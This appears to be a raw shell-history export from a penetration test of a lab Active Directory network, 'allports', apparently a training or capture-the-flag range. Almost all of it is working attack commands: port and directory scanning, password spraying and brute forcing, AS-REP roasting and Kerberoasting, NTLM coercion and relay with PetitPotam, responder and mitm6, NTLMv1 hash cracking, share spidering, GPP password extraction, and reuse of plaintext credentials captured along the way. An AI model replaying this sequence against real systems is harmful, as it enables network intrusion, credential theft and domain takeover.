_raw: : 1762028058:0;ldapsearch -H ldap://10.0.1.6 -D "@allports" -w '' -b "DC=allports,DC=local" "(objectClass=*)" distinguishedName


_raw: : 1762028048:0;ldapsearch -H ldap://10.0.1.6 -D "guest@allports" -w '' -b "DC=allports,DC=local" "(objectClass=*)" distinguishedName


_raw: : 1762028043:0;hydra -L rockyou.txt -P rockyou.txt 10.0.1.11 ssh


_raw: : 1762027982:0;gobuster dir --url https://chat.allports.tours --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --delay 50ms -k


_raw: : 1762027967:0;gobuster dir --url https://chat.allports.tours --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --delay 50ms


_raw: : 1762027950:0;curl -X 'GET' 'http://10.0.1.11:8000/ids' -H 'Authorization: Bearer YWRtaW46cGFzc3dvcmQ='


_raw: : 1762027929:0;gobuster dir -u http://10.0.1.11:7700 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt


_raw: : 1762027922:0;impacket-ntlmrelayx --remove-mic -t ldaps://DECKHAND-02.allports.tours  -smb2support


_raw: : 1762027893:0;python3 PetitPotam.py 10.0.254.204 apt-dc-01.allports.local


_raw: : 1762027890:0;gobuster dir -u http://10.0.1.11:7700 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762027889:0;ffuf -u http://10.0.1.14:5001/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fw 5


_raw: : 1762027884:0;gobuster dns --domain allports.tours -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt


_raw: : 1762027877:0;ffuf -u http://10.0.1.14:5001/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic


_raw: : 1762027872:0;ffuf -u http://10.0.1.14:5001/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fw 5


_raw: : 1762027860:0;impacket-ntlmrelayx --remove-mic -t ldaps://APT-DC-01.allports.tours --delegate-access -smb2support


_raw: : 1762027852:0;ffuf -u http://10.0.1.14:80/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fw 5


_raw: : 1762027848:0;python3 PetitPotam.py WIN-ZIZ89WYKWRK@80/bruh apt-dc-01.allports.local


_raw: : 1762027847:0;ffuf -u http://10.0.1.14:80/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic


_raw: : 1762027842:0;gobuster dir -u http://10.0.1.11:7700 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-length 4831


_raw: : 1762027841:0;curl -X POST http://10.0.1.15:8080/api/navigation.php?action=speed -H 'accept: application/json'  -H 'Content-Type: application/json'  -d '{"speed_knots": 0}'\


_raw: : 1762027831:0;curl -X POST http://10.0.1.15:8080/api/navigation.php?action=speed -H 'accept: application/json'  -H 'Content-Type: application/json'  -d '{\n  "speed_knots": 0\n}'\


_raw: : 1762027809:0;gobuster dns --domain allports.local -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt


_raw: : 1762027804:0;curl -X 'GET' 'http://10.0.1.11:8000/ids' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ='


_raw: : 1762027803:0;history | grep 'action=speed'


_raw: : 1762027798:0;impacket-ntlmrelayx -t ldaps://APT-DC-01.allports.tours --delegate-access -smb2support


_raw: : 1762027786:0;curl -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ='


_raw: : 1762027774:0;gobuster dns --domain allports.tours -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt


_raw: : 1762027770:0;nxc ldap 10.0.1.6 -u users.lol -p '' --continue-on-success --asreproast users.lol


_raw: : 1762027764:0;nxc ldap 10.0.1.6 -u users.lol -p '' --continue-on-success --asreproast usersl.ol


_raw: : 1762027759:0;nxc ldap 10.0.1.6 -u users.lol -p '' --continue-on-success --asreproast


_raw: : 1762027756:0;ffuf -u http://10.0.1.11:7700/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -H "Authorization:Basic YWRtaW46cGFzc3dvcmQ="


_raw: : 1762027754:0;git clone https://github.com/topotam/PetitPotam


_raw: : 1762027751:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  valid  admin


_raw: : 1762027737:0;hydra -L rockyou.txt -P rockyou.txt ssh://10.0.1.11 -o hydra.txt


_raw:
: 1762027711:0;curl -X 'GET' \\
  'http://10.0.1.11:8000/ids' \\
  -H 'accept: application/json' \\
-H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ='


_raw: : 1762027705:0;nxc ldap 10.0.1.6 -u users.lol -p '' --continue-on-success


_raw:
: 1762027693:0;curl -X 'GET' \\
  'http://10.0.1.11:8000/ids' \\
  -H 'accept: application/json' \\
-H 'authorization-header: Basic YWRtaW46cGFzc3dvcmQ='


_raw:
: 1762027690:0;curl -X POST  http://10.0.1.15:8080/navigation.php?action=speed -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "speed_knots": 0\
}'


_raw:
: 1762027684:0;curls -X POST  http://10.0.1.15:8080/navigation.php?action=speed -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "speed_knots": 0\
}'


_raw: : 1762027664:0;pip3 install pwntools --break-system-packages


_raw: : 1762027660:0;python3 PetitPotam.py 10.0.254.204 DECKHAND-01.allports.local


_raw: : 1762027653:0;python3 PetitPotam.py 10.0.254.204 DECKHAND-02.allports.local


_raw: : 1762027652:0;nxc ldap 10.0.1.6 -u users.lol -p '' --asreproast users.lol


_raw: : 1762027651:0;impacket-ntlmrelayx -tf targets.txt -smb2support -socks


_raw: : 1762027586:0;impacket-ntlmrelayx --remove-mic -t ldaps://APT-DC-01.allports.tours --delegate-access -smb2support


_raw: : 1762027573:0;hydra -L ~/usr/share/wordlist/rockyou.txt ssh://10.0.1.11 -o hydra.txt


_raw: : 1762027572:0;gobuster dir -u http://10.0.1.11:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-length 4831


_raw: : 1762027541:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  valid  ""


_raw: : 1762027520:0;python3 PetitPotam.py 10.0.254.204 apt-dc-01.allports.local


_raw: : 1762027486:0;python3 PetitPotam.py --help


_raw: : 1762027469:0;ffuf -u http://10.0.1.11:7700/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic


_raw: : 1762027463:0;ffuf -u http://10.0.1.11:7700/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fw 5


_raw: : 1762027462:0;curl -v http://chat.allports.tours


_raw: : 1762027438:0;nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus -o METHOD=PetitPotam\


_raw: : 1762027404:0;mitm6 -d allports.local --ignore-nofqdn


_raw: : 1762027380:0;impacket-ntlmrelayx -6 -t ldap://10.0.1.6 -wh bruh.allports.local


_raw: : 1762027342:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  valid  --user-as-pass


_raw: : 1762027330:0;sqlmap -r links.txt --delay 50ms


_raw: : 1762027316:0;impacket-ntlmrelayx -tf targets.txt -smb2support -socks


_raw: : 1762027315:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  -h


_raw: : 1762027310:0;sudo responder -I eth0 -w -v


_raw: : 1762027303:0;ffuf -u http://10.0.1.11:8000/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fw 5


_raw: : 1762027296:0;ffuf -u http://10.0.1.11:8000/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic


_raw: : 1762027292:0;ffuf -u http://10.0.1.11:8000/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fw 5


_raw:
clear
feroxbuster -u http://10.0.1.11:7700
feroxbuster -u http://10.0.1.11:80
feroxbuster -u http://10.0.1.11:80/api
cat doteleven-nmap
nmap -sV 10.0.1.11:80
nmap -sV 10.0.1.11
sudo nmap -sC -sV 10.0.1.1
nc -v 10.0.1.1 53
nmap -T4 -A 10.0.1.1
ssh admin@10.0.1.1
ssh admin@10.0.1.1:53
ping -c2 10.0.1.1
nmap -p- 10.0.1.1
ffuf -w /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt -u 10.0.1.11/login -d "username=admin&password=FUZZ"
ffuf -w /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt -u 10.0.1.11/login -d "username=admin&password=FUZZ"
base64 -d IjA1NWU4MjAwMWFiM2UyMzFiMWYxNTg1ZTk4OGQ3ZDUyYTY3NTc3NTQi.aQZeCA.TftM1IgEr6vVIa4cXrxfQb4aIBE
base64 -d .eJwVykEOgjAQBdCrjLMmBkso4ClcuDOE1PZXDAUMU4KEcHdx9TZv48YHIy2Er4-NKR5wDxHzAid8b0EfI7KMk6MJgkjozTvQYoRktvaYfg5hJcEQT3QLMAKyLWxH6zhP9N_P8Xvmeq8TtjL5Jo4dBr5ymucoYX2VOXfRpkBlobW2rlClUqnPdK6RF4r3H9KSN08.aQZmBw.EActNdQhHNNgDuuq6qJZKH3upmc
base64 -d ".eJwVykEOgjAQBdCrjLMmBkso4ClcuDOE1PZXDAUMU4KEcHdx9TZv48YHIy2Er4-NKR5wDxHzAid8b0EfI7KMk6MJgkjozTvQYoRktvaYfg5hJcEQT3QLMAKyLWxH6zhP9N_P8Xvmeq8TtjL5Jo4dBr5ymucoYX2VOXfRpkBlobW2rlClUqnPdK6RF4r3H9KSN08.aQZmBw.EActNdQhHNNgDuuq6qJZKH3upmc"
base64 --help
base64 -d .eJwVykEOgjAQBdCrjLMmBkso4ClcuDOE1PZXDAUMU4KEcHdx9TZv48YHIy2Er4-NKR5wDxHzAid8b0EfI7KMk6MJgkjozTvQYoRktvaYfg5hJcEQT3QLMAKyLWxH6zhP9N_P8Xvmeq8TtjL5Jo4dBr5ymucoYX2VOXfRpkBlobW2rlClUqnPdK6RF4r3H9KSN08.aQZmBw.EActNdQhHNNgDuuq6qJZKH3upmc
echo .eJwVykEOgjAQBdCrjLMmBkso4ClcuDOE1PZXDAUMU4KEcHdx9TZv48YHIy2Er4-NKR5wDxHzAid8b0EfI7KMk6MJgkjozTvQYoRktvaYfg5hJcEQT3QLMAKyLWxH6zhP9N_P8Xvmeq8TtjL5Jo4dBr5ymucoYX2VOXfRpkBlobW2rlClUqnPdK6RF4r3H9KSN08.aQZmBw.EActNdQhHNNgDuuq6qJZKH3upmc> cookie.txt
base64 -d cookie.txt
cat cookie.txt
base64 -d AAAA
base64 -d


_raw: : 1762027243:0;sudo responder -I eth0 -w -v


_raw: : 1762027237:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  valid  password


_raw:
greenbone --versoin
greenbone --version
jvm start
ip addr show
nmap -sS 10.0.1.0/24 --open
sudo gvm start
gvm-start
nmap -sV 10.0.1.21
msfconsole
nmap -p- -sV -A 10.0.1.21
clear
nmap -p- -sV -A 10.0.1.21
gobuster dir  \xB3-url http://10.0.1.21/  \xB3-wordlist \ /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt  -x php,html\
ls
cd Documents
ls
cd ..
smbclient -L 10.0.1.21
smbclient -L 10.0.1.21
load kiwi
msfconsole
nmap -p 445 --script=smb-vuln-ms17-010 10.0.1.21
nmap -p 139  --script=smb-vuln-ms17-010 10.0.1.21
nmap -p 139  --script=smb-vuln 10.0.1.21
nmap -p 139,445 --open -sS -n 10.0.1.21\
nmap -p 139,445 --script "smb-vuln*" 10.0.1.21
nmap -sV -p 135,139,445,3389,49664 --script "default,safe" 10.0.1.21
nmap -sV -p 135,139,445,445,3389,49664 \\
  --script smb-os-discovery,smb-enum-shares,smb-enum-users,smb-security-mode,smb-vuln* \\
  --script-args=unsafe=0 \ 10.0.1.21
nmap -sV -p 139,445, \\
  --script smb-os-discovery,smb-enum-shares,smb-enum-users,smb-security-mode,smb-vuln* \\
  --script-args=unsafe=0 \ 10.0.1.21
unset RHOSTS
clear
smbclient -L //10.0.1.21 -N
searchsploit samba
msfconsole
enum4linux -a TARGET
getuid
msfconsole
sysinfo
xsysinfo
rsysinfo
nmap -p 139,445 --script smb-vuln-ms17-010 10.0.1.21
nmap -p 3389 --script rdp-vuln-ms12-020,rdp-enum-encryption 10.0.1.21
sysinfo
sudo apt install sysinfo
[200~use auxiliary/scanner/smb/smb_version~
use auxiliary/scanner/smb/smb_version
sudo apt install use
searchsploit samba | grep 3.0.20
msfconsole
nmap -sV -p 445 --script "smb2-security-mode,smb-enum-shares,smb-vuln-ms17-010,smb-vuln-cve2020-0796" 10.0.1.21
smbclient -L //10.0.1.21 -N\
smbmap -H 10.0.1.21\
enum4linux -a 10.0.1.21
clear
nmap -sV -sC -p- 10.0.1.15
clear
nmap -p3389 --script rdp-vuln 10.0.1.21
nmap -p3389 --script rdp-enum-encryption 10.0.1.21
rpcdump.py 10.0.1.21
impacket-rpcdump 10.0.1.21
clear
nmap --script vuln 10.0.1.21
nmap -p3389 --script rdp-vuln* 10.0.1.21
nmap --script=vuln 10.0.1.21
nmap -sV --script=vuln 10.0.1.21
gobuster dir --url http://10.0.1.21/ --wordlist \ /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt  -x php,html\
gobuster dir --url http://10.0.1.21/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt  -x php,html\
gobuster dir --url http://10.0.1.21/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --exclude-length 4831
ping 10.0.1.21
gobuster dir -u http://10.0.1.21/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --exclude-length 4831
nmap --script smb-vuln* 10.0.1.21
clear
nmap -sV -sC -p- 10.0.1.21
clear
[200~nmap --script smb-vuln* -p445 10.0.1.21
nmap --script smb-vuln* -p445 10.0.1.21
nmap --script smb-security-mode -p445 10.0.1.21
smbclient -L //10.0.1.21 -N\
nmap --script rdp-enum-encryption -p3389 10.0.1.21
nmap --script rdp-vuln* -p3389 10.0.1.24
nmap --script rdp-vuln* -p3389 10.0.1.21
nmap --script rdp-vuln-ms12-020 -p3389 10.0.1.21
crackmapexec winrm 10.0.1.21 -u '' -p ''
[200~crackmapexec winrm <target> -u <userlist> -p <passlist>
crackmapexec winrm 10.0.1.21 -u <userlist> -p <passlist>\
nmap --script vuln -p135,139,445,3389,5985,5986 10.0.1.21
exit


_raw: : 1762027222:0;awk '/VALID USERNAME/{print $NF}' valid_ad_users > valid


_raw: : 1762027212:0;awk '/VALID USERNAME/{print $NF}' valid_ad_users


_raw: : 1762027207:0;python3 ad-enumerator.py -H


_raw: : 1762027202:0;python3 ad-enumerator.py -h


_raw: : 1762027187:0;sudo responder -I eth0 -w -v


_raw: : 1762027162:0;git clone https://github.com/1ncendium/AD-Enumerator.git


_raw: : 1762027161:0;rm -rf linWinPwn_allports.local/


_raw:
crackmapexec smb 10.0.1.6 -u
crackmapexec smb 10.0.1.6 -u "" -p "" --shares
ldapsearch -x -h 10.0.1.6 -b "DC=allports,DC=local
ldapsearch -x -h 10.0.1.6 -b "DC=allports,DC=local" -s sub "(objectClass=*) dn
ldapsearch -x -h 10.0.1.6 -b "DC=allports,DC=local" -s sub "(objectClass=*)" dn
⃴\x83\xB4⃴\x80$ ldapsearch -x -h 10.0.1.6 -b "DC=allports,DC=local" -s sub "(objectClass=*)" dn\
ldapsearch -x -h 10.0.1.6 -b "DC=allports,DC=local" -s sub "(objectClass=*)" dn\
crackmapexec smb 10.0.1.20 -u "" -p "" --shares
crackmapexec smb 10.0.1.21 -u "" -p "" --shares
nmap -T4 -p- 10.0.1.21
nmap -T4 -p- 10.0.1.20
nmap -T4 -p- 10.0.1.6
ldapsearch -x -H ldap://10.0.1.6 -s base -b "" "(objectClass=*)" namingContexts defaultNamingContext rootDomainNamingContext supportedLDAPVersion supportedSASLMechanisms supportedExtensions -LLL
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s one "(objectClass=user)" sAMAccountName displayName mail -LLL | sed -n '1,200p'\
ldapsearch -x -H ldap://10.0.1.6 -b "CN=Policies,CN=System,DC=allports,DC=local" -s one "(objectClass=*)" -LLL | sed -n '1,120p'\
ldapsearch -x -H ldap://10.0.1.6 -b "DC=DomainDnsZones,DC=allports,DC=local" -s sub "(objectClass=dnsNode)" dn cn -LLL | sed -n '1,120p'\
ldapsearch -x -H ldap://10.0.1.6 -b "DC=DomainDnsZones,DC=allports,DC=local" -s sub "(objectClass=dnsNode)" dn cn -LLL
ldapsearch -x -H ldap://10.0.1.6 -b "CN=Configuration,DC=allports,DC=local" -s sub "(objectClass=*)" cn dNSTombstoned dNSProperty -LLL | sed -n '1,120p'\
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s sub "(objectClass=computer)" dNSHostName operatingSystem -LLL | sed -n '1,120p'\
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s sub "(servicePrincipalName=*)" servicePrincipalName sAMAccountName -LLL | sed -n '1,120p'\
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s sub "(servicePrincipalName=*)" servicePrincipalName sAMAccountName -LLL


_raw: : 1762027140:0;[200~  git clone https://github.com/1ncendium/AD-Enumerator.git


_raw: : 1762027103:0;sudo responder -I eth0 -w -v


_raw: : 1762027060:0;python3 PetitPotam.py localhost 10.0.1.6


_raw: : 1762027037:0;git clone https://github.com/topotam/PetitPotam


_raw: : 1762027010:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  valid_ad_users  password


_raw: : 1762026994:0;ntlmrelayx.py -tf targets.txt -i


_raw: : 1762026984:0;ntlmrelayx.py -tf targets.txt -smbsupport -i


_raw: : 1762026981:0;ntlmrelayx.py -tf targets.txt -smbsupport -I


_raw: : 1762026912:0;cat valid_ad_users | grep -i finn


_raw: : 1762026889:0;cat valid_ad_users | grep -i bailey


_raw: : 1762026860:0;gobuster dir -u http://10.0.1.11:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt --exclude-length 4831


_raw: : 1762026796:0;gobuster dir -u http://10.0.1.11:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt


_raw: : 1762026778:0;gobuster dir -u http://10.0.1.11:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt -s 200


_raw: : 1762026690:0;gobuster dir -u http://10.0.1.11:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt


_raw:
remmina
cat password.txt
remmina \
remmina
nc -lnvp 4444


_raw:
nmap -sN  10.0.1.0/24
nmap -sS 10.0.1.0/24 --open
msfconsole
nmap -sV 10.0.1.10
msfconsole
nmap -sV 10.0.1.30\
msfconsole
nmap -sV 10.0.1.15\
ms
msfconsole
ipconfig /all
sudo ipconfig /all
msfconsole
show ip_addr
sudo ip_addr
ip_addr show
ip addr show
msfconsole
search sploit
search sploit nginx
msfconsole
clear
nmap -sS 10.0.1.0/24 --open
nmap -sV 10.0.1.21
msfconsole
clear
nmap -sS 10.0.1.0/24 --open
nmap -sV 10.0.1.99
msfconsole
nmap -sV 10.0.1.99\
msfconsole
nmap -sV --script=vuln 10.0.1.99


_raw: : 1762026536:0;ffuf -u https://chat.allports.tours/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic


_raw: : 1762026531:0;ffuf -u https://chat.allports.tours/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fw 5


_raw: : 1762026529:0;git clone https://github.com/topotam/PetitPotam


_raw: : 1762026489:0;ffuf -u http://chat.allports.tours/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fw 5


_raw: : 1762026477:0;ffuf -u http://chat.allports.tours/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic


_raw: : 1762026432:0;sudo responder -I eth0 -w -v


_raw:
nmap -sVC 10.0.1.6,20,21 -oN scan2.txt
ip a
nmap -sVC 10.0.1.6,20,21 -oN scan3.txt -p-
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' --users-export users3.txt
cat users3.txt


_raw: nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=300000


_raw: nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k -M gpp_password


_raw: nxc smb 10.0.1.2` -u 'svc_stabilize' -p '1gyroscope' -k -M gpp_password


_raw: nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k -M gpp_password


_raw: nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=300000


_raw: nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=30000


_raw: nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=300kb


_raw: nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=300


_raw:
hashcat -m 14000 -a 3 -1 /usr/share/hashcat/charsets/DES_full.hcchr --hex-charset 14000.hash2 ?1?1?1?1?1?1?1?1
cd ..
impacket-ntlmrelayx -t ldaps://10.0.1.20 --remove-mic -smb2support --delegate-access\
\
impacket-ntlmrelayx -t ldap://10.0.1.20 --remove-mic -smb2support --delegate-access
impacket-ntlmrelayx -t ldap://10.0.1.21 --remove-mic -smb2support --delegate-access
impacket-ntlmrelayx -t ldaps://10.0.1.21 --remove-mic -smb2support --delegate-access
impacket-ntlmrelayx -tf relay_list.txt -smb2support -socks
impacket-ntlmrelayx -r 10.0.1.21 -smb2support -socks
impacket-ntlmrelayx -t 10.0.1.21 -smb2support -socks
cd ~/Downloads
cat users
mysql -u root -h 10.0.1.99 --ssl-verify-server-cert=false
tldr
tldr mysql
tldr --update
tldr mysql
mysql -h 10.0.1.99 --ssl-verify-server-cert=false
smbclient -L '//10.0.1.6/' -U '%'\
rpcclient -U '%' 10.0.1.6\
bloodyAD -u '' -d allports.local -p '' --host 10.0.1.6 get children 'DC=allports,DC=local' --type user\
bloodyAD -u '' -d allports.local -p '' --host 10.0.1.6 get children 'DC=allports,DC=local' --otype user
bloodyAD -u '' -d allports.local -p '' --host 10.0.1.6 get children --otype user
nxc ldap 10.0.1.6 -u '' -p ''
bloodyAD -u '' -d allports.local\ --host 10.0.1.6 get children --otype user
bloodyAD -u '' -d allports.local --host 10.0.1.6 get children --otype user
nxc ldap 10.0.1.6 -u '' -p ''  -M
nxc ldap 10.0.1.6 -u '' -p '' -M -L
nxc ldap 10.0.1.6 -u '' -p '' --users
git clone https://github.com/topotam/PetitPotam.git
cd P
cd PetitPotam
ls
python3 PetitPotam.py -h
python3 PetitPotam.py 10.0.254.201 10.0.1.6
python3 PetitPotam.py 10.0.254.201 10.0.1.20
python3 PetitPotam.py 10.0.254.201 10.0.1.21
python3 PetitPotam.py 10.0.254.201 10.0.1.6
rpcclient -N -U "" 10.0.1.6
cat  /etc/krb5.conf
python3 PetitPotam.py 10.0.254.201 10.0.1.6
cd ..
cd Downloads
ls
cat domain_users.grep
cat domain_users.grep| awk '{print $5}'
cat domain_users.grep| awk '{print $5}' > users4.txt
cat users4.txt
impacket-GetNPUsers allports.local/ -no-pass -request -usersfile users4.txt -dc-ip 10.0.1.6 -format hashcat -outputfile np3.txt
nxc smb 10.0.1.6 -u users4.txt -p users4.txt --no-bruteforce --continue-on-success
nxc smb 10.0.1.6 -u users4.txt -p 'IamTheCaptain' --no-bruteforce --continue-on-success
cd ..
cd PetitPotam
python3 PetitPotam.py 10.0.254.201 10.0.1.6
ls
cd ..
ls
cd PetitPotam
ls
python3 PetitPotam.py 10.0.254.201 10.0.1.6
cd ..
ls
cat relay_list.txt
python3 PetitPotam.py 10.0.254.201 10.0.1.6
cd PetitPotam
python3 PetitPotam.py 10.0.254.201 10.0.1.6
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50'
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' -k
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' -k
cd ..
ls
cd Downloads
ls
nxc smb 10.0.1.6 -u users4.txt -H 'fb5f5729c7a020fb9dfaacd9509b243b'
nxc smb 10.0.1.6 -u users4.txt -H 'a4fa38e8e61d094ab455cecda06105d3'
cd .
cd ..
ls
cd .nxc/modules/nxc_spider_plus/10.0.1.21
ls
cd Galley
ls
cd company_files
ls
cd Admin
ls
catInternal_Memo_DRAFT_DO_NOT_SHARE.txt\
Meeting_Minutes_Template.docx\
Memo_IT_Resourcing_2025-09.pdf
cat Internal_Memo_DRAFT_DO_NOT_SHARE.txt
nxc smb 10.0.1.6 -u users4.txt -p 'Sails@way!' --continue-on-success
cd ~/Downloads
nxc smb 10.0.1.6 -u users4.txt -p 'Sails@way!' --continue-on-success
nano users
nxc smb 10.0.1.6 -u users -p 'Sails@way!' --continue-on-success --local-auth
nxc smb 10.0.1.21 -u users -p 'Sails@way!' --continue-on-success --local-auth
nxc smb 10.0.1.21 -u users -p 'Sails@way!' --continue-on-success -k
nxc smb 10.0.1.6 -u users -p 'Sails@way!' --shares
nxc smb 10.0.1.6 -u users -p 'Sails@way!' --shares --continue-on-success
nano users
nxc smb 10.0.1.21 -u users -p 'Sails@way!' --shares -k
nxc smb 10.0.1.21 -u 'aphillips' -p 'Sails@way!' --shares -k
nxc smb 10.0.1.21 -u 'druiz' -p 'Sails@way!' --shares -k
nxc smb 10.0.1.21 -u 'lpeterson' -p 'Sails@way!' --shares -k
nxc smb 10.0.1.21 -u 'lpeterson' -p 'Sails@way!' --local-auth
nxc smb 10.0.1.21 -u 'lpeterson' -p 'Sails@way!' --local-auth -k
bloodhound-python -d 'allports.local' -u 'lpeterson' -p 'Sails@way!' -c all -ns 10.0.1.6 -dc APT-DC-01.allports.local --zip
ip a
responder -i eth0
sudo responder -i eth0
sudo responder -I eth0
sudo responder -I eth0 --lm --disable-ess
git clone https://github.com/evilmog/ntlmv1-multi.git
cd Coercer
cd ..
cd ntlmv1-multi
ls
sudo responder -I eth0
nano hash
python3 ntlmv1.py --ntlmv1 "APT-DC-01$::APT:D2C2E668597062EE00000000000000000000000000000000:040A55D5C45871EBFB5B0961D48368B72B88CB7AF44D7488:68072f577fdfdf2a"
pipx install Crypto
python3 ntlmv1.py --ntlmv1 "APT-DC-01$::APT:D2C2E668597062EE00000000000000000000000000000000:040A55D5C45871EBFB5B0961D48368B72B88CB7AF44D7488:68072f577fdfdf2a"
pipx install pycryptodome
python3 -m venv ,
python3 -m venv .
source bin/activate
pip install pycryptodome
python3 ntlmv1.py --ntlmv1 "APT-DC-01$::APT:D2C2E668597062EE00000000000000000000000000000000:040A55D5C45871EBFB5B0961D48368B72B88CB7AF44D7488:68072f577fdfdf2a"
echo "040A55D5C45871EB:af094c0a4b5ba569">>14000.hash
echo "FB5B0961D48368B7:af094c0a4b5ba569">>14000.hash2
locate DES
locate DES_full
hashcat -m 14000 -a 3 -1 /usr/share/hashcat/charsets/DES_full.hcchr --hex-charset 14000.hash ?1?1?1?1?1?1?1?1\
nxc smb 10.0.1.6 -u 'guest'
nxc smb 10.0.1.6 -u 'guest' -p ''
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.6 -u '' -p '' --rid-brute 10000
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.21 -u '' -p '' --shares
nxc smb 10.0.1.21 -u 'guest' -p ''
nxc smb 10.0.1.21 -u '' -p '' --shares
nxc smb 10.0.1.21 -u '' -p ''
nxc smb 10.0.1.22 -u '' -p ''
nxc smb 10.0.1.20 -u '' -p ''
nxc smb 10.0.1.20 -u 'guest' -p ''
nxc smb 10.0.1.21 -u 'guest' -p ''
nxc smb 10.0.1.6 -u 'guest' -p ''
nxc smb 10.0.1.6 -u '' -p '' --users
nxc smb 10.0.1.6/24 --gen-relay-list relay_list.txt\
dig axfr allports.tours@10.0.1.6
enum4linux -a -u "" -p "" 10.0.1.6
ldapwhoami -x -H ldap://10.0.1.6:389
nano users
cat users
impacket-GetNPUsers allports.local/ -no-pass -request -usersfile users -dc-ip 10.0.1.6 -format hashcat -outputfile np.txt
impacket-GetNPUsers allports.local/ -no-pass -request -usersfile users3.txt -dc-ip 10.0.1.6 -format hashcat -outputfile np.txt
impacket-GetUserSPNs allports.tours/rdavis:rosdav50 -dc-ip 10.0.1.6 -request
impacket-GetUserSPNs allports.local/rdavis:rosdav50 -dc-ip 10.0.1.6 -request
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' --SHARES
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' --shares
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' --shares
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' --shares
nano krb
hashcat -a 0 krb /usr/share/wordlists/rockyou.txt
nano krb
hashcat -a 0 krb /usr/share/wordlists/rockyou.txt
cat users3.txt
ls
nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --shares
